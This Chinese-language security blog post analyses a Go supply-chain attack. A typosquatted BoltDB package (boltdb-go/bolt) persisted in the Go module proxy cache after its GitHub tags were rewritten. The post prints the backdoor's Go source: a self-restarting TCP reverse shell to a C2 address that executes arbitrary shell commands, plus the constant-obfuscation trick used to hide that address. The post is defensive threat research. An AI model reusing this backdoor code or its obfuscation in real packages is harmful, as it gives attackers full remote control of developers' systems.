part1
点击上方蓝字关注我们
将二进制空间安全设为"星标⭐️"
第一时间收到文章更新
供应链攻击背景
该攻击是存在一个Go生态系统中的恶意程序包, 其冒充了广泛使用的BoltDB数据库模块(github.com/boltdb/bolt), 利用Go模块代理缓存进行持久化, 多年潜伏未被发现。BoltDB包在Go生态系统中被广泛使用, 有8367个依赖包, 由于它在成千上万的项目中得到广泛使用, BoltDB成为Go社区中最突出、最受信任的模块之一。
恶意软件包(github.com/boltdb-go/bolt)包含一个后门, 允许远程代码执行, 使攻击者能够通过C2服务器控制被感染系统。在恶意软件被Go模块镜像缓存后, 该镜像由Go CLI工具链下载, Github上的Git标签被巧妙修改, 以删除恶意软件痕迹, 使其免于人工代码审查。
隐蔽的Go供应链攻击
攻击者使用GitHub别名“boltdb-go”首次发布了一个恶意版本v1.3.1到GitHub,然后该版本被Go模块镜像服务无限期缓存。包被缓存后,他们重新编写了GitHub标签,指向一个干净的合法版本,确保人工审计GitHub仓库时无法发现任何恶意内容。然而,由于Go的缓存机制,开发者使用go CLI安装包时,仍然从Go模块镜像下载缓存的恶意版本,而非更新的无害版本。
以下是合法的BoltDB包, 合法的BoltDB包在整个Go编程语言生态系统中被开发人员广泛使用和高度信任。如图:
在Go编程生态系统中,Go模块代理服务充当中介,缓存并向开发者提供Go包(模块)。这种缓存机制提高了模块检索的效率和可靠性,并保护用户机器免受零日Git客户端漏洞的攻击。默认情况下,当开发者使用Go的命令行工具下载或安装包时,他们的请求会自动通过此代理服务进行路由。
以下是此次供应链攻击的过程:
-
攻击者创建了一个恶意Go包,名称与合法的boltdb/bolt包非常相似,选择了boltdb-go/bolt。这个细微的命名差异旨在误导开发者,通过拼写错误或不小心选择恶意包。
-
恶意包被发布到一个公开仓库,触发Go模块代理服务在第一次请求时获取并缓存该包。一旦缓存,该包将持久地可供后续下载。
-
确保恶意包已被Go模块代理缓存后,攻击者修改了源仓库中的Git标签,将其指向一个无害的合法版本。这一欺骗策略确保了人工检查GitHub仓库时不会揭示恶意代码的痕迹,而Go模块代理继续向毫无戒心的开发者提供缓存的恶意版本。值得注意的是,Go模块镜像中恶意模块的.info文件缺乏通常链接回恶意代码的Git提交SHA引用。
这一系列操作使攻击者能够利用Go模块代理的缓存机制,确保即使仓库的标签被修改,恶意包仍然可以供开发者使用。以下是攻击者控制的Github存储库映像, 目的是模拟合法的boltdb/bolt存储库,如图:
以下是合法bolted/bolt Github存储库的映像, 由于该项目的规范存储库已存档, 所以开发人员只能创建或采用活动分支, 这反而增加了向毫无戒心的最终用户引入恶意或未经授权的修改风险。如图:
本次攻击的成功主要依赖于Go模块代理服务的设计,该服务优先考虑性能和可用性缓存。一旦模块版本被缓存,它将通过Go模块代理保持可访问,即使原始源代码随后被修改。虽然这种设计有利于合法的使用场景,但威胁行为者利用它持续分发恶意代码,尽管仓库之后已发生更改。
为什么Go模块是不可变的
Go模块一旦发布并被代理缓存后,会被故意设计为不可变,确保每个拉取标记版本(例如v1.2.3)的用户每次都接收到相同的代码,并防止在发布后进行悄无声息的更改或覆盖。这种不可变性是Go可复现构建的基础,有助于保证构建输出始终与相关的源代码匹配。
它也带来了安全优势:如果一个库后来被破坏,它无法悄无声息地替换已经下载的代码。由于系统会检测与go.sum中记录的校验和的任何不匹配,任何修改已下载版本的尝试都会导致构建失败。
尽管不可变性可能被恶意行为者滥用——允许有害代码在缓存中持续存在——它仍然是一个整体的安全好处。由于Go模块系统按预期工作,并且这不是一个安全漏洞,因此没有修复程序或关闭不可变性的开关;开发者必须认识到,一旦发布了恶意版本,它将一直在缓存中保持恶意。
2024年,社区评估引起了人们对Go模块代理中基于缓存的风险的关注。某项报告详细描述了代理默认行为自动缓存公共仓库包所引发的法律和操作问题。另一项评估强调,这种缓存行为可能被滥用,以便在上游源代码进行任何清理后,仍然可以提供被破坏或恶意的模块。
手动审计github.com/boltdb-go/bolt的开发者没有在GitHub上发现恶意代码的痕迹。然而,通过Go模块代理proxy.golang.org下载该包时,仍然获取了最初的带有后门的版本。这种欺骗行为3年未被发现,导致恶意包持续存在,尽管在公共仓库中看起来已被清理。
后门实现
boltdb-go/bolt包是合法BoltDB包的木马版本,包含一个隐藏的远程访问后门,该后门被嵌入到其他合法的数据库功能中。恶意代码被设计为持久地连接到一个位于IP地址49.12.198[.]231:20022的远程C2服务器。一旦连接,它会监听命令,执行它们并将输出返回给威胁行为者。这有效地授予了一个未经授权的远程用户对任何运行此包的系统的完全控制。
以下是来自db.go
文件的恶意代码片段, 代码中加了注释, 以展示攻击者建立和激活隐藏后门程序的技术:
func ApiInit() {
go func() {
defer func() {
// 后门持久性机制:
// 如果该功能出现问题(例如连接丢失), 30 秒后重新启动
if r := recover(); r != nil {
time.Sleep(30 * time.Second)
ApiInit()
}
}()
for {
d := net.Dialer{Timeout: 10 * time.Second}
// C2连接:
// 利用_r()构造一个隐藏IP地址和端口
conn, err := d.Dial("tcp", _r(strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort)))
if err != nil {
// 如果连接失败, 在30秒后重试, 以避免立即被发现
time.Sleep(30 * time.Second)
continue
}
// 循环执行远程命令
// 读取传入的命令并执行它们
for {
message, _ := bufio.NewReader(conn).ReadString('n')
args, err := shellwords.Parse(strings.TrimSuffix(message, "n"))
if err != nil {
fmt.Fprintf(conn, "Parse err: %sn", err)
continue
}
// 执行任意 shell 命令
var out []byte
if len(args) == 1 {
out, err = exec.Command(args[0]).Output()
} else {
out, err = exec.Command(args[0], args[1:]...).Output()
}
// 将命令输出或错误发送回攻击者
if err != nil {
fmt.Fprintf(conn, "%sn", err)
}
fmt.Fprintf(conn, "%sn", out)
}
}
}()
}
以下是来自cursor.go
文件的恶意代码片段,已通过注释标注,展示了攻击者如何混淆值,这些值在后续会被操作以构造IP地址。
const (
MaxMemSize = 64966512577 // 混淆的IP部分
MaxIndex = 6179852731 // 混淆的IP部分
MaxPort = 2060272 // 混淆的端口
)
这些常量使用_r()进行组合和转换:
func _r(s string) string {
// 字符串操作 / 混淆
// 将“5”替换为“.”并删除“6”和“7”以伪装 C2 地址
ret := strings.ReplaceAll(s, "5", ".")
ret = strings.ReplaceAll(ret, "6", "")
ret = strings.ReplaceAll(ret, "7", "")
return ret
}
转换前的原始值:
"649665125776179852731:2060272"
转换过程:'5'
→ '.'
,同时删除 '6'
和 '7'
,导致最终输出如下:
"49.12.198[.]231:20022"
恶意功能分布在boltdb-go/bolt
包中的多个文件中,以避免检测,其中db.go
启动后门连接,而cursor.go
则悄悄引入误导性的常量,这些常量随后会被转换成混淆的IP地址。_r()
函数动态重构威胁行为者的C2地址,确保标准静态分析工具无法轻易识别或标记出恶意基础设施。后门在开发者调用Open()
时激活,建立与49.12.198[.]231:20022的持久TCP连接,等待并执行来自威胁行为者的任意Shell命令。此外,内置的重新初始化例程确保如果后门崩溃或失败,它会自动重启,保持对被感染系统的持续访问。
攻击者使用在Hetzner Online GmbH(AS24940)托管的干净、未标记的IP,表明其具有较高的操作安全性,暗示该基础设施是专门为此次攻击活动采购的,旨在避免提前被检测和列入黑名单。与不加区分的恶意软件不同,这个后门被设计为融入受信任的开发环境,增加了在发现之前广泛被破坏的可能性。
事件总结
Go 编程语言以其高效、简单和强大的模块生态系统而闻名, 然而,正如这一事件所表明的那样,实现无缝包分发的相同机制也可以被用于软件供应链攻击。滥用 Go Module Proxy 的缓存机制使恶意包能够持续存在多年而未被发现。这凸显了在开源生态系统中采取主动安全措施的必要性,而传统的安全审计方法可能无法检测到复杂的威胁。
为了降低供应链威胁,开发人员应在安装前验证包的完整性,分析依赖项的异常情况,并使用安全工具更深入地检查已安装的代码。确保 Go 的模块生态系统对此类攻击保持弹性,需要持续警惕、改进安全机制,并更好地了解威胁行为者如何利用软件分发渠道。
往期推荐
原文始发于微信公众号(二进制空间安全):警告!后门利用特殊机制潜伏热门开源库3年,后门关键代码被揪出
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论